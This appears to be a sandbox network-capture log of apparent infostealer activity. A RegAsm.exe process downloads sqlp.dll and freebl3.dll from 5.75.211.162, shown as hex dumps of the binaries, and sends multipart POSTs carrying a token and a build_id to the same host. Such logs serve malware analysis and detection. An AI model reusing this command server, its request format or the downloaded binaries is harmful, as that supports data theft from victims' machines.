2024-09-26 17:05:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:05:56 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	59750	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:57 UTC	193	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:05:57 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:05:57 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:05:57 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:05:57 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-26 17:05:57 UTC	16384	IN	Data Raw: 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-26 17:05:58 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	59751	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:00 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:00 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------CGCFIIEBKEGHJJJJJJDACont
2024-09-26 17:06:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	59752	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:01 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:01 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------JJJJDAAECGHDGDGCGHDBCont
2024-09-26 17:06:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:02 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	59753	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:02 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:02 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------IJKJDAFHJDHIEBGCFIDBCont
2024-09-26 17:06:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:03 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	59754	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:03 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:03 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------GIJJKKJJDAAAAAKFHJJDCont
2024-09-26 17:06:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	59755	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:05 UTC	196	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:05 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:05 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:05 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:05 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
